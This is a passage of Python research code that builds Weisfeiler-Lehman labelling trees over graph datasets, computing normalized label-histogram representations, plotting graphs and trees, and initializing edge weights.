of all graphs is returned as well. Notice that \n all wl-labellings are padded with as many DUMMY_LABELS as needed to be as big as the biggest graph.\n \"\"\"\n # Read the list of all graph vertices for every graph from file.\n vertices_matrix: np.array = self.get_graph_vertices_from_file()\n nr_of_graphs: int = vertices_matrix.shape[0]\n max_nr_of_vertices: int = vertices_matrix.shape[1] \n # Allocate space to store all wl-label for all vertices for every iteration (col), for every graph (row). \n # Allocate space for one more iteration, since the zeroth iteration is contained as well.\n wl_label_matrices: np.array = np.empty((nr_of_graphs, max_nr_of_vertices * (self.get_wl_iteration() + 1)), dtype=float)\n\n # Iterate over all iterations and append the wl-labeling in this iteration for all graphs.\n for iteration in range(self.get_wl_iteration() + 1): \n wl_labels = self.get_vertex_labels_from_file(iteration, with_tailing_dummy_label=True)\n # Map the wl-labels (in iteration 'iteration') of all vertices to the vertices of all graphs.\n wl_label_matrix = wl_labels[vertices_matrix]\n wl_label_matrices[:,max_nr_of_vertices*iteration:max_nr_of_vertices*(iteration+1)] = wl_label_matrix\n \n return wl_label_matrices\n\n data, row, col = None, None, None \n\n # If the 'iterations' list is not empty, assume that former layers and thus a graph representation does exists.\n # Read it from file in order to extend it.\n if iterations is None:\n data, row, col = np.array([]), np.array([]), np.array([]) \n else:\n M = self.get_graph_repr_from_file() \n data, row, col = M.data, M.row, M.col\n\n # The graph representation is computed as a normalized wl-label histogram. Since the normalization with big graphs, \n # and less frequent wl-labels will cause vanishing histogram entries, scale the normalization with the mean number of graphs.\n mean_nr_vertices, max_nr_of_vertices = self.get_mean_max_nr_vertices()\n \n # In order to avoid two for-loops (one over the iterations and one over all graphs),\n # prepare the wl-label-data for all informations in a list.\n # That is for every graph the concatenated list of its wl-label for every vertex and iteration.\n wl_label_matrices: np.array = _construct_all_iterations_labels_matrix()\n\n # Iterate through all graphs and save the (normalized) frequencies of all wl-labels for every iteration that occured in them. \n for g_id, all_wl_labels in enumerate(wl_label_matrices):\n # Compute a histogram for the wl-labels in the graph.\n ctr = Counter(all_wl_labels) \n # Rule out the DUMMY-LABEL. \n # (Only) for the normalization it is crutial to know, how many vertixes are in the current graph.\n nr_of_vertices_in_g: int = max_nr_of_vertices\n ids_of_padding = np.where(all_wl_labels[:max_nr_of_vertices]==c.DUMMY_LABEL)[0]\n # If there exists a DUMMY_LABEL in the wl-label string, its position indicates the size of the graph.\n # Otherwise the graph is one of the biggest with size 'max_nr_of_vertices'.\n if len(ids_of_padding) > 0: nr_of_vertices_in_g = ids_of_padding[0]\n # The histogram shall be normalized to account for different graph sizes.\n # To prevent vanishing values, this is scaled with the mean graph size.\n normalization_factor = mean_nr_vertices / nr_of_vertices_in_g\n\n # Now iterate over all wl-labels and add the normalized frequencies for this graph (its representation) to the sparse matrix. \n # Notice that the order of the entries does not matter at all in the initialization of a sparse matrix. \n # Only insert normalized frequencies that are not zero - these are the ones stored in the Counter. \n # Since all other frequencies will be understood as zero by default interpretation of the sparse matrix.\n \n # Add respective entries in 'row', 'col', 'data' to sparsely store the wl-labels frequencies.\n # But not the DUMMY_LABEL.\n if ctr[c.DUMMY_LABEL] > 0: ctr.pop(c.DUMMY_LABEL) \n normalized_frequencies = normalization_factor * np.array(list(ctr.values()))\n np.round_(normalized_frequencies, HISTOGRAM_PRECISION)\n # There is a row for every graph. Notive that 'len(ctr)' many entries will be added to the data, one for each occuring label in the graph.\n row = np.append(row, [g_id]*len(ctr))\n # There is a column for every wl-label in all iterations in the whole dataset. The index equals the value of the wl-label.\n col = np.append(col, list(ctr.keys()))\n data = np.append(data, normalized_frequencies)\n \n # Save the graph representation matrix.\n nr_graphs: int = self.get_nr_graphs_from_class_file()\n # Assemble the coo matrix using the data.\n graph_repr_coo = coo_matrix((data, (row, col)), shape=(nr_graphs, self.get_nr_wl_labels()))\n # Save the matrix to file.\n self.write_scipy_sparse_to_file(self.get_graph_representations_file_name(), graph_repr_coo)\n\n ### File writers ###\n\n def write_np_to_file(self, file_name: str, data: Any) -> None:\n np.save(f\"{file_name}\", data)\n\n def write_scipy_sparse_to_file(self, file_name: str, coo_matrix) -> None:\n \"\"\" The 'coo_matrix' is expected to be a 'scipy.sparse.coo.coo_matrix'.\"\"\"\n save_npz(f\"{file_name}\", coo_matrix.tocsr())\n\n def write_wllt_to_file(self) -> List[str]:\n header_row = \"# Wl-depth; number of wl-labels; number of computed weights. Then all files needed to read in this WLLT.\"\n data_row = f\"{self.get_wl_iteration()}, {self.get_nr_wl_labels()}, 0\"\n file_rows = self.get_all_file_paths()\n all_rows = [header_row]+[data_row]+file_rows\n np.savetxt(f\"{self.get_meta_file_name()}\", all_rows, delimiter=WLLT_META_DELIMITER, fmt='%s')\n \n def set_edge_weights(self, values: np.array) -> None:\n self.write_np_to_file(self.get_edge_weights_file_name(), values)\n\n ### WLLT-Initialization methods ###\n\n def initialize_WLLT_files_from_adj_lists(self, dir_in: str, dataset_name:str = None) -> None:\n \n def initialize_tree_parents_file() -> None:\n \"\"\"\n This method initializes the file which stores all parents in the tree.\n The first layer (original labels, zeroth wl-labelling) are all children of the artificial vertex with label -1.\n Thus this root is their parent.\n \n Now, when ever a new layer is created (which will be the next unused integer), simply add its parent to the end of existing parent vector.\n \"\"\"\n # Construct the parent list of the wllt. All initial labels have the artificial root '-1' as parent.\n first_layers_parent_array: np.array = np.array([-1]*self.get_nr_wl_labels(), dtype=int)\n\n # Save the parent vector.\n self.write_np_to_file(self.get_parent_list_file_name(), first_layers_parent_array)\n\n def initialize_graph_representation() -> None: \n self.update_graph_representation_coo_for_layers()\n\n # First, check if the files do exist! If not, the WLLT procedure stops here without saving any data.\n essential_files = [c.FN_ADJ_LISTS, c.FN_GRAPH_CLASSES, c.FN_GRAPH_VERTICES, c.FN_VERTEX_LABELS] \n for essential_file in essential_files:\n path = f\"{dir_in}/{essential_file}\"\n if not exists(path):\n LOG.error(f\"ERROR: NO SUCH FILE {path}! No WLLT will be created!\")\n return None\n\n self.dataset_name = dataset_name \n\n # Store the directory, where the WLLT and all created files shall be stored. \n self.dir_in = dir_in\n self.dir_out = f\"{self.dir_in}/{c.DN_WLLT}\"\n if not exists(self.dir_out): makedirs(self.dir_out)\n \n # Read in the vertex labels and identify the distinct ones. All these are children of the artificial root note and construct the zeroth WL-layer. \n original_vertex_labels = self.get_original_vertex_labels_from_file()\n original_vertex_label_set = np.unique(original_vertex_labels)\n self.n = len(original_vertex_label_set)\n \n # Construct the tree paths from the root to all original labels and store them to file.\n initialize_tree_parents_file()\n\n # Save the size of the first layer to file.\n layer_size=[len(original_vertex_label_set)]\n self.append_to_nparr(self.get_layer_starts_file_name(), layer_size)\n \n # Initialize the wl-uniqueness file.\n self.append_to_nparr(self.get_mean_wl_change_file_name(), [])\n\n # Save the vertex labels again, as zeroth labelling.\n self.write_np_to_file(self.get_vertex_labels_file_name(0), original_vertex_labels) \n\n # Save the vertex label map for layer zero. \n # That is for every one of the original labels, the artificial DUMMY_LABEL.\n artificial_hash_for_original_labels = [(o, tuple(np.sort([c.DUMMY_LABEL]))) for o in original_vertex_label_set]\n self.write_np_to_file(self.get_vertex_label_map_file_name(), artificial_hash_for_original_labels)\n\n # Construct the tree paths from the root to all original labels and store them to file.\n # Since this method will use the vertex labels of the 'last iteration', this has to be done after the\n # vertex label file has been stored.\n initialize_graph_representation()\n\n # Save the whole wllt to a file.\n self.write_wllt_to_file() \n \n def initialize_WLLT_from_existing_WLLT(self, dir_out: str, wl_iteration: int = None):\n \"\"\"\n This method searches for a META file in the given output directory and initializes key values of the WLLT constructor.\n \"\"\" \n try:\n wllt_meta_file = f\"{dir_out}/{c.FN_META_INFO}\"\n meta_data = np.loadtxt(wllt_meta_file, delimiter=\"\\t\", dtype=str, skiprows=1)\n\n # Set the wllt iteration.\n key_values: str = meta_data[0].split(\", \")\n i = int(key_values[0])\n if wl_iteration is not None: \n i = min(i, wl_iteration)\n self._set_wl_iteration_ctr(i) \n \n # Set the dataset name and output dir (WLLT folder).\n dir_out_list = dir_out.split('/')\n self.dataset_name = dir_out_list[-2]\n self.dir_out = dir_out\n self.dir_in = \"/\".join(dir_out_list[:-1])\n \n # Set the number of tree vertices.\n # Figure out how many vertices this tree contains, by finding the index of the last vertex in the layer.\n # This has to be done AFTER the definition of the 'output_dir'. Otherwise the file name will be incomplete.\n layer_start = self.get_layer_starts_from_file()[i]\n self.n = layer_start\n\n except (FileNotFoundError, IOError):\n LOG.error(f\"ERROR:\\tCould not find META-file '{wllt_meta_file}'!\")\n\n def compute_nr_of_non_bijective_changes(self, new_wl_label_list: np.array, old_wl_label_list: np.array, vertices_matrix: np.array) -> float:\n \"\"\"\n Takes a list of wl-labels for all vertices and the list of vertices for every graph.\n Computes the level of distinct\n \"\"\"\n new_vertex_labels_per_graph = new_wl_label_list[vertices_matrix]\n old_vertex_labels_per_graph = old_wl_label_list[vertices_matrix]\n \n # Read the list of all graph vertices for every graph from file. \n max_nr_of_vertices: int = vertices_matrix.shape[1]\n nr_of_changes: int = 0\n\n for graph_id, new_graph_wl_labels in enumerate(new_vertex_labels_per_graph): \n old_graph_wl_labels = old_vertex_labels_per_graph[graph_id]\n \n # The DUMMY_LABEL does not need to be excluded, but excluding it results in more meaningull values.\n nr_of_vertices = max_nr_of_vertices\n # Remove the DUMMY_LABEL padding.\n ids_of_padding = np.where(new_graph_wl_labels==c.DUMMY_LABEL)[0]\n # If there exists a DUMMY_LABEL in the wl-label string, its position indicates the size of the graph.\n # Otherwise the graph is one of the biggest with size 'max_nr_of_vertices'.\n if len(ids_of_padding) > 0: \n nr_of_vertices = ids_of_padding[0]\n # Since the indexing starts at zero, the cut of index is offsetted by one.\n new_graph_wl_labels = new_graph_wl_labels[:nr_of_vertices-1]\n old_graph_wl_labels = old_graph_wl_labels[:nr_of_vertices-1]\n \n if is_bijection(new_graph_wl_labels, old_graph_wl_labels): nr_of_changes += 1\n \n return nr_of_changes\n\n ### Add WLLT layer ###\n\n def add_WLLT_layers(self, nr_new_layers: int = 1) -> None:\n \"\"\"\n This method generates layers of WLLT-labels.\n \"\"\"\n # If the tree has not been initialized, use the meta.\n if self.dir_out == \"\":\n LOG.error(\"Fct 'add_WLLT_layers' is trying to add layers to a not initialized tree! Make sure the initialization is complete!\")\n return None\n\n # Load the matrix containing all neighborhoods (adjacency lists).\n # Notice that the smallest label is 0. A value of -1 does not indicate a value but is a DUMMY LABEL.\n # In order to use the adjacency lists as indices in the wl-labels file, the last index (-1) must be '-1' again.\n neighborhood_indixes: np.array = self.get_adj_lists_from_file()\n all_old_wl_labels: np.array = self.get_vertex_labels_from_file(with_tailing_dummy_label=True) \n all_old_wllt_parents: np.array = self.get_parent_list_from_file()\n vertices_matrix: np.array = self.get_graph_vertices_from_file()\n\n nr_vertices: int = all_old_wl_labels.shape[0]\n all_new_wl_labels = np.zeros(nr_vertices, dtype=int)\n all_new_wllt_parents = list()\n new_layer_starts = list()\n new_layer_sizes: List[Tuple[int, int]] = list() \n nr_wl_cange_list: List[float] = np.load(self.get_mean_wl_change_file_name(), allow_pickle=True)\n\n no_changes_in_last_iter: bool = False\n\n new_iterations = range(self._next_wl_iteration(), self._next_wl_iteration() + nr_new_layers)\n\n for ptr, i in enumerate(new_iterations):\n LOG.info(f\"{self.dir_out},\\tWL-iter:\\t{i}\")\n hash_to_wl_label_dict: Dict[Tuple, int] = dict()\n # Notice here: The neighborhood indices contain tailing DUMMY INDICES (-1).\n # We will keep these values, since the last entry in 'all_old_wl_labels' is again a -1.\n # This entry thus can be interpreted both as an dummy-index, or a dummy-label.\n neighborhood_labels_with_dummy: np.array = all_old_wl_labels[neighborhood_indixes]\n \n for vertex_id, neighborhood_labels_with_dummy in enumerate(neighborhood_labels_with_dummy): \n old_vertex_wl_label = all_old_wl_labels[vertex_id] \n\n neighborhood_labels = neighborhood_labels_with_dummy[neighborhood_labels_with_dummy != c.DUMMY_LABEL]\n conc: Tuple[int, Tuple] = (old_vertex_wl_label, tuple(np.sort(neighborhood_labels)))\n requrire_new_label: bool = conc not in hash_to_wl_label_dict\n \n if requrire_new_label:\n # Save the new wl-label.\n new_vertex_wl_label = self.get_nr_wl_labels()\n hash_to_wl_label_dict[conc] = new_vertex_wl_label\n self.increment_nr_wl_labels()\n\n all_new_wllt_parents.append(old_vertex_wl_label)\n \n # Save the new wl label of the current vertex.\n all_new_wl_labels[vertex_id] = hash_to_wl_label_dict[conc] \n\n # Append the DUMMY_LABEL '-1' such that: 'all_new_wl_labels[-1] = -1'\n all_new_wl_labels = np.append(all_new_wl_labels, np.array([c.DUMMY_LABEL], dtype=int))\n\n\n # Compute the mean levels of change. If it is close to zero, report that more iterations may be depreciated.\n nr_of_changes = self.compute_nr_of_non_bijective_changes(all_new_wl_labels, all_old_wl_labels, vertices_matrix)\n nr_of_graphs = vertices_matrix.shape[0]\n nr_wl_cange_list = np.append(nr_wl_cange_list, nr_of_changes)\n \n mean_wl_change_percentage = round(nr_of_changes / nr_of_graphs * 100, 2)\n if nr_of_changes == 0:\n nr_remaining_iterations = len(new_iterations) - ptr - 1\n if nr_remaining_iterations > 0:\n if no_changes_in_last_iter is False:\n no_changes_in_last_iter = True\n else:\n LOG.warning(f\"No graph representations (out of {nr_of_graphs} graphs) have changes (non-bijectively) in the last two iterations!\")\n input_yn = 'n'\n if self.ask_for_early_stopp:\n input_yn: str = input(f\"Do you wish to continue? ({nr_remaining_iterations} iteration{'s' if nr_remaining_iterations > 1 else ''} remaining) [y/n]\")\n if input_yn == 'n':\n LOG.info(f\"No more WL-iterations computed, since on no WL-label changeds non-bijectively.\")\n new_iterations = new_iterations[:ptr]\n break\n elif mean_wl_change_percentage < MEAN_WL_CHANGE_WARN:\n LOG.warning(f\"On average only {mean_wl_change_percentage}% (<{MEAN_WL_CHANGE_WARN}%) of all WL-labels have changed non-bijectively. [{nr_of_changes}/{nr_of_graphs}]\")\n \n # And store them to file.\n self.write_np_to_file(self.get_vertex_labels_file_name(i), all_new_wl_labels)\n\n # Sort the wl-hash dictionary to get the hash values in the right order. This way the indices of the result can be used as key.\n # Notice, that the wl_labels are the values in the dictionary. Thus it is sorted using them, the 1-st entry of the dict-element.\n hash_map = [conc for conc, w_label in sorted(hash_to_wl_label_dict.items(), key=lambda ele: ele[1])]\n # Save the vertex label map, by appending the hashes to the existing file.\n self.append_to_vertex_map(hash_map)\n\n new_layer_starts.append(self.get_nr_wl_labels())\n new_layer_sizes.append((i, len(all_new_wl_labels)))\n\n # Update the vector used to get the last wl-labels.\n all_old_wl_labels = np.copy(all_new_wl_labels)\n\n # After the termination of this iteration, increment the number of wl-iterations.\n self._increment_wl_iteration_ctr()\n \n LOG.info(\"\\t> Writing data to file.\")\n # Since the vector of tree parents is not used in the method itself, but rather a documentation of the complete tree,\n # it can be updated after all layers have been created.\n self.write_np_to_file(self.get_parent_list_file_name(), np.append(all_old_wllt_parents, all_new_wllt_parents))\n\n # Update the layer starts.\n self.append_to_nparr(self.get_layer_starts_file_name(), new_layer_starts)\n\n # Replace the estimated mean change between the wl-labels, with the appended list.\n np.save(self.get_mean_wl_change_file_name(), nr_wl_cange_list)\n\n # Update the graph representations.\n print(\"\\t Updating the graph representations file ...\", end=\"\")\n self.update_graph_representation_coo_for_layers(new_iterations)\n print(\"\\r\")\n\n # Update the information stored in the meta file.\n self.write_wllt_to_file()\n LOG.info(f\"Finished adding {nr_new_layers} new layers.\")\n\n ### Graph information method ###\n\n def get_graph_info_excel_str(self, graph_id: int, save_to_file: bool = False, dir_out_prefix: str = \"\") -> str:\n \"\"\"\n Retrieves all information known about the graph with id 'graph_id' and returns it in a print-string.\n If a 'output_file_name' is given, the print string is saved to a '.txt'-file with that name.\n\n The retrieved information is:\n - The graphs id, vertex indices, neighborhood lists for every vertex.\n - For every iteration/layer of the wllt: the wl-labels for all vertices (including the originals at iteration zero).\n - The graph representation as a normalized sparse histogram over all wl-labels in the tree.\n \"\"\" \n graph_vertex_list = list(self.get_graph_vertices_from_file()[graph_id])\n graph_class = self.get_graph_classes_vec_from_file()[graph_id]\n\n ctr = Counter(graph_vertex_list)\n nr_of_padding = ctr[c.DUMMY_LABEL]\n nr_vertices = len(graph_vertex_list) - nr_of_padding\n graph_vertex_list = graph_vertex_list[:nr_vertices]\n\n graph_repr_dict = dict()\n graph_representation = self.get_graph_repr_from_file().getrow(graph_id).toarray()[0]\n for k, v in enumerate(graph_representation):\n if v != 0.0:\n graph_repr_dict[k] = v\n\n mean_nr_vertices, _ = self.get_mean_max_nr_vertices()\n inverse_normalization = nr_vertices / mean_nr_vertices\n abs_graph_repr_dict = dict(zip(graph_repr_dict.keys(), [int(round(inverse_normalization * i,0)) for i in graph_repr_dict.values()]))\n \n graph_neighborhoods = self.get_adj_lists_from_file()[graph_vertex_list]\n wl_layers = self.get_wl_labels_layer_wise()\n\n # Assemble the excel print:\n print_str = f\"Dataset\\t{self.dataset_name}\"\n print_str += f\"\\nGraph id\\t{graph_id}\"\n print_str += f\"\\nGraph class\\t{graph_class}\"\n graph_vertices_str = \"\\t\".join([f\"v{i}\" for i in graph_vertex_list])\n print_str += f\"\\nVertices\\t\" + graph_vertices_str\n print_str += f\"\\nn\\t{nr_vertices}\"\n print_str += \"\\n\"\n print_str += f\"\\nNeighborhood lists\" \n max_neighborhood_size: int = 0\n neighborhoods_str: str = \"\"\n for v, N in enumerate(graph_neighborhoods):\n neighbor_str = \"\"\n if len(N) > max_neighborhood_size: max_neighborhood_size = len(N)\n for n in N:\n if n == c.DUMMY_LABEL:\n break\n neighbor_str += f\"\\t{n}\"\n neighborhoods_str += f\"\\n{graph_vertex_list[v]}\" + neighbor_str\n\n print_str += f\"\\nvertex_id\\t\" + \"\\t\".join([f\"n{i}\" for i in range(max_neighborhood_size - 1)])\n print_str += neighborhoods_str\n\n print_str += \"\\n\"\n print_str += f\"\\nVertex wl-labels per iteration:\"\n print_str += f\"\\nIteration\\tWL-lbls\" + \"\\t\" * len(graph_neighborhoods) + \"\\tWL-labels in the graph\"\n print_str += \"\\n\\t\" + graph_vertices_str\n for d in range(self._latest_wl_iteration() + 1):\n print_str += f\"\\n{d}\"\n graph_vertex_labels = self.get_vertex_labels_from_file(d, with_tailing_dummy_label=False)[graph_vertex_list]\n wl_labels_d = \"\\t\".join([f\"{i}\" for i in graph_vertex_labels])\n print_str += f\"\\t{wl_labels_d}\"\n print_str += f\"\\n\\t\" + \"\\t\" * len(graph_neighborhoods) + f\"\\t[{wl_layers[d][0]} ... {wl_layers[d][-1]}]\"\n\n print_str += \"\\n\"\n print_str += f\"\\nWL-Label\\tRepr-Value\\tAbs frequency\"\n for label, value in graph_repr_dict.items():\n print_str += f\"\\n{label}\\t{value}\\t{abs_graph_repr_dict[label]}\"\n\n print_str += \"\\n\"\n print_str += f\"\\nAll WL-Labels\\tRepr-Value\\tAbs frequency\"\n for label, v in enumerate(graph_representation):\n value = str(v)\n if v == 0.0: value = ''\n print_str += f\"\\n{label}\\t{value}\"\n\n # If specified, save the print to file.\n if dir_out_prefix != \"\":\n if not exists(dir_out_prefix): mkdir(dir_out_prefix)\n dir_out_prefix += \"/\"\n if save_to_file:\n file_name = f\"{dir_out_prefix}info_{self.dataset_name}_graph_{graph_id}.ods\"\n with open(file_name, 'w') as f:\n f.write(print_str)\n \n print(f\"Information on graph {graph_id}\\tsaved to file '{file_name}'.\")\n \n self.save_graph_to_png(graph_id, graph_vertex_list, graph_neighborhoods, dir_out_prefix=dir_out_prefix)\n return print_str\n\n def save_graph_to_png(self, graph_id: int, vertex_list: List[int], graph_neighborhoods, dir_out_prefix: str = None):\n \"\"\"\n\t\tTo execute this, a downgrade to matplotlib version to 2.2.3 may ba necessary.\n\t\tpip install matplotlib==2.2.3.\n\t\t:return:\n\t\t\"\"\"\n def convert_adj_list_to_edge_list() -> List[Tuple[int, int]]:\n edge_set = set([])\n for v, N in enumerate(graph_neighborhoods):\n for n in N:\n if n != -1 and vertex_list[v] < n:\n edge = (vertex_list[v], n)\n edge_set.add(edge) \n \n return list(edge_set)\n\n def get_networkx_graph():\n networkx_graph = nx.Graph()\n nodes = vertex_list\n nodes.sort()\n networkx_graph.add_nodes_from(nodes)\n networkx_graph.add_edges_from(edge_list)\n\n return networkx_graph\n\n edge_list = convert_adj_list_to_edge_list()\n vertex_labels = self.get_vertex_labels_from_file(0, with_tailing_dummy_label=False)[vertex_list]\n graph_class = self.get_graph_classes_vec_from_file()[graph_id]\n\n # Construct vertex annotations.\n vertex_annotation_strings = [f\"\\n\\n$\\ell(${v}$)=$ {vertex_labels[i]}\" for i, v in enumerate(vertex_list)]\n plot_annotation_dictionary = dict(zip(vertex_list, vertex_annotation_strings))\n\t\t \t\t\n figure = plt.figure()\n\n\t\t# Plot the graph and its legend.\t\n networkx_graph = get_networkx_graph()\n nx.draw(networkx_graph, labels=plot_annotation_dictionary, with_labels=True)\n plt.legend()\n \n\t\t# Construction of the title\n title_str = f\"{self.dataset_name}-Graph {graph_id}\"\n title_str += f\"\\nn={len(vertex_list)}, m={int(len(edge_list) / 2)}, c={graph_class}\"\n plt.title(title_str)\n\t\t\n\t\t# Display everything together\n figure.savefig(f\"{dir_out_prefix}plot_graph{graph_id}.png\", bbox_inches='tight', nbins=0, pad_inches=0.0) \n plt.close(figure)\n\n def save_wllt_to_png(self, dir_out: str = \"\", edge_weights: np.array = None, title_postfix: str = \"\", layer_id_lim: int = None, verbose: bool = False):\n \"\"\"\n\t\tTo execute this, a downgrade to matplotlib version to 2.2.3 may ba necessary.\n\t\tpip install matplotlib==2.2.3.\n\t\t:return:\n\t\t\"\"\"\n def normalize(arr, t_min, t_max):\n \"\"\" Normalize a one dimensional array to the interval [t_min, t_max]. \"\"\"\n norm_arr = []\n diff = t_max - t_min\n diff_arr = max(arr) - min(arr)\n for i in arr:\n temp = (((i - min(arr))*diff)/diff_arr) + t_min\n norm_arr.append(temp)\n return norm_arr\n\n def get_networkx_tree(vertex_list: List[int], edge_list: List[Tuple[int, int]], edge_weights: Dict[Tuple[int, int], float], edge_colors: Dict[Tuple[int, int], float]):\n networkx_graph = nx.Graph()\n nodes = vertex_list\n # nodes.sort()\n networkx_graph.add_nodes_from(nodes)\n networkx_graph.add_edges_from(edge_list)\n attrs = {}\n for e in edge_list:\n attrs[e] = dict(zip(['weight', 'color'], [edge_weights[e], edge_colors[e]]))\n\n nx.set_edge_attributes(networkx_graph, attrs)\n return networkx_graph\n \n def compute_layer_limit(layer_id_limit: int, l_starts: np.array) -> int:\n # Since the tree may be huge, discard lower layers.\n # If no layer_limit has been passed along, find the highest layer with less than 'vertex_display_threshold' many vertices.\n vertex_display_threshold = 407 # 150\n if layer_id_limit is None:\n if l_starts[0] > vertex_display_threshold:\n print(f\"\\r\\t\\tNo WLLT figure plotted, since the first layer has already {l_starts[0]} (>{vertex_display_threshold}) vertices. That is to huge!.\")\n else:\n # Assume the highest layer has not to many vertices and can be plotted.\n layer_id_limit = len(l_starts) - 1\n for layer_id, layer_start_id in enumerate(l_starts):\n # Go through all layers, and if there is one layer that is to big, plot up to the layer BEFORE it.\n if layer_start_id > vertex_display_threshold:\n # All layers after this will be bigger. Thus take the layer BEFORE and stop the search. \n layer_id_limit = layer_id-1\n break\n return layer_id_limit \n\n def plot_wllt(vertex_list, parents_list, edge_weights, dir_out: str) -> None:\n # If not all entries are equal...\n if not all(elem == edge_weights[0] for elem in edge_weights):\n # ...normalize the edge weights to the interval [0.2,1].\n # Depending on the tree structure, this may result in a good plot of small and big edges.\n edge_weights = normalize(edge_weights, 0.2, 1)\n\n w_unique = np.unique(edge_weights)\n edge_colors = dict(zip(w_unique, range(1, len(w_unique)+1)))\n \n # Add the artificial root (-1) to the vertex list.\n vertex_list = [-1] + vertex_list\n edge_list = np.column_stack((np.arange(len(parents_list), dtype=int), parents_list))\n\n # Construct the data for the NetworkX graph.\n edge_tuple_list = list()\n edge_weights_dict = dict()\n edge_colors_dict = dict()\n for i, e in enumerate(edge_list):\n edge = (e[0], e[1])\n edge_tuple_list.append(edge)\n edge_weights_dict[edge] = edge_weights[i]\n edge_colors_dict[edge] = edge_colors[edge_weights[i]]\n\n # NetworkX graph assembly.\n networkx_graph = get_networkx_tree(vertex_list, edge_tuple_list, edge_weights_dict, edge_colors_dict)\n \n figure = plt.figure()\n # Plot the graph and its legend.\t\n pos = nx.kamada_kawai_layout(networkx_graph)\n edges = networkx_graph.edges()\n colors = [networkx_graph[u][v]['color'] for u,v in edges] \n pos = nx.kamada_kawai_layout(networkx_graph)\n options = {\n \"node_color\": \"#EEEEEE\",\n \"edge_color\": colors,\n \"width\": 2.0,\n \"edge_cmap\": plt.cm.tab10, # https://matplotlib.org/stable/tutorials/colors/colormaps.html\n \"with_labels\": True,\n }\n nx.draw(networkx_graph, pos, **options)\n \n # Construction of the title\n title_str = f\"WLLT_l{layer_id_lim+1}_{title_postfix}\" \n plt.title(title_str)\n \n if dir_out != \"\":\n if not exists(dir_out): mkdir(dir_out)\n dir_out += \"/\"\n\n # Display everything together\n file_name = f\"{dir_out}plot_wllt_l{layer_id_lim+1}{title_postfix}.png\"\n figure.savefig(f\"{file_name}\", bbox_inches='tight', nbins=0, pad_inches=0.0)\n print(\"\\r\", end=\"\") \n if verbose: print(f\"\\r\\tWLLT figure saved to file '{file_name}'.\", end=\"\")\n plt.close(figure)\n\n vertex_list = list(range(self.get_nr_wl_labels()))\n parents_list = self.get_parent_list_from_file().astype(int)\n\n # Edge weights definition.\n if edge_weights is None: edge_weights = np.ones(len(parents_list)) \n\n layer_starts = self.get_layer_starts_from_file() \n layer_id_lim = compute_layer_limit(layer_id_lim, layer_starts)\n if layer_id_lim is None: return None\n\n for layer_id in range(0, layer_id_lim + 1):\n max_vertex_id = layer_starts[layer_id]\n # Crop the data to only this highest layer.\n plot_wllt(vertex_list[:max_vertex_id], parents_list[:max_vertex_id], edge_weights[:max_vertex_id], dir_out) \n\ndef get_wllt_dirin_dirout(dataset_name: str) -> Tuple[str, str]:\n in_dir = f\"{c.get_datafiles_dir()}/{c.DN_DATAFILES}/{dataset_name}\" \n if not exists(in_dir): \n print(f\"Datafiles not found! Searching for '{in_dir}'.\\nYou may need to run 'x1_dataset_to_globalAdjList.py -d {in_dir}' first.\")\n return None, None\n dir_out = f\"{in_dir}/{c.DN_WLLT}\"\n return in_dir, dir_out\n\ndef get_WLLT_from_dataset_name(dataset_name: str, wl_depth: int = None) -> WLLT: \n dir_in, dir_out = get_wllt_dirin_dirout(dataset_name)\n\n if dir_out is None or not exists(dir_out):\n print(f\"WLLT does not exist! Searching '{dir_out}'!\")\n return None\n\n # Read the already constructed WLLT.\n wllt = WLLT()\n wllt.initialize_WLLT_from_existing_WLLT(dir_out=dir_out, wl_iteration=wl_depth)\n return wllt\n\n############################################################################## \n##### EDGE WEIGHT LEARNER ####################################################\n##############################################################################\n\n### Edge weight initialization interface ###\nclass EdgeWeightInitializator(ABC):\n \"\"\"\n This class ensures that different edge weight initializations are performed in the same way.\n For all implementations, a WLLT is read in. When a implementatin is choosen, its constructor\n may require some parameters. The constructor will call the super method right away, which \n triggers the chosen edge weight implementation.\n Thus the edge weights will be computed and stored to the file specified by the WLLT, \n right after calling the constructor. They can be accessed with a method too.\n \"\"\"\n\n def __init__(self, wllt: WLLT):\n self.wllt: WLLT = wllt\n self.file_name_edge_weights: str = wllt.get_edge_weights_file_name()\n self.edge_weights: np.array = self._initialize_edge_weights()\n \n np.save(self.file_name_edge_weights, self.edge_weights) \n\n def get_edge_weights(self) -> np.array:\n return self.edge_weights\n\n @abstractmethod\n def _initialize_edge_weights(self) -> np.array:\n \"\"\"\n Initialized edge weights for the given WLLT, \n returns them as array and \n saves them to the file, specified by the WLLT.\n \"\"\" \n raise NotImplementedError\n \n### Edge weight initialization implementations ###\nclass RandomEdgeWeightInitializator(EdgeWeightInitializator):\n\n def __init__(self, wllt: WLLT, min_random: float = 0.0, max_random : float = 1.0):\n self.min: float = min_random\n self.max: float = max_random\n super(RandomEdgeWeightInitializator, self).__init__(wllt=wllt)\n\n def _initialize_edge_weights(self) -> np.array:\n return self.min + np.random.rand(self.wllt.get_nr_wl_labels()) * (self.max - self.min)\n\nclass ConstantEdgeWeightInitializator(EdgeWeightInitializator):\n\n def __init__(self, wllt: WLLT, const_value: float = 1.0):\n self.const: float = const_value\n super(ConstantEdgeWeightInitializator, self).__init__(wllt=wllt)\n\n def _initialize_edge_weights(self) -> np.array:\n return self.const + np.zeros((self.wllt.get_nr_wl_labels()))\n\nclass LayerBasedEdgeWeightInitializator(EdgeWeightInitializator):\n\n def __init__(self, wllt: WLLT, layer_weight_sums: Any = 1.0):\n \"\"\"\n Initializes the edge weights such that every edge weights in layer L has value 'layer_sum/#L'.\n Thus every layer has the same weighted sum. \n Layers closer to the root tend to be smaller, thus their edge weights are heavier.\n \"\"\"\n self.layer_starts: float = wllt.get_layer_starts_from_file() \n if type(layer_weight_sums) == float: layer_weight_sums: List[float] = [layer_weight_sums] * len(self.layer_starts)\n self.layer_weight_sums: float = layer_weight_sums\n super(LayerBasedEdgeWeightInitializator, self).__init__(wllt=wllt)\n\n def _initialize_edge_weights(self) -> np.array: \n w = np.zeros((self.wllt.get_nr_wl_labels()))\n last_layer_start = 0\n for layer_id, next_layer_start in enumerate(self.layer_starts):\n # Compute the size of layer 'layer_id'.\n layer_size = next_layer_start - last_layer_start\n # Compute the weights for all edges in this layer. \n value = self.layer_weight_sums[layer_id] / layer_size\n # Save the computed edge weights in this.\n w[last_layer_start:next_layer_start] = value\n\n # Set the next index after the last layer start, as the next layer start.\n last_layer_start = next_layer_start\n\n return w\n\nclass FRMEdgeWeightInitializator(EdgeWeightInitializator):\n\n def __init__(self, wllt: WLLT, frm_setting): \n self.frm_setting: float = frm_setting\n 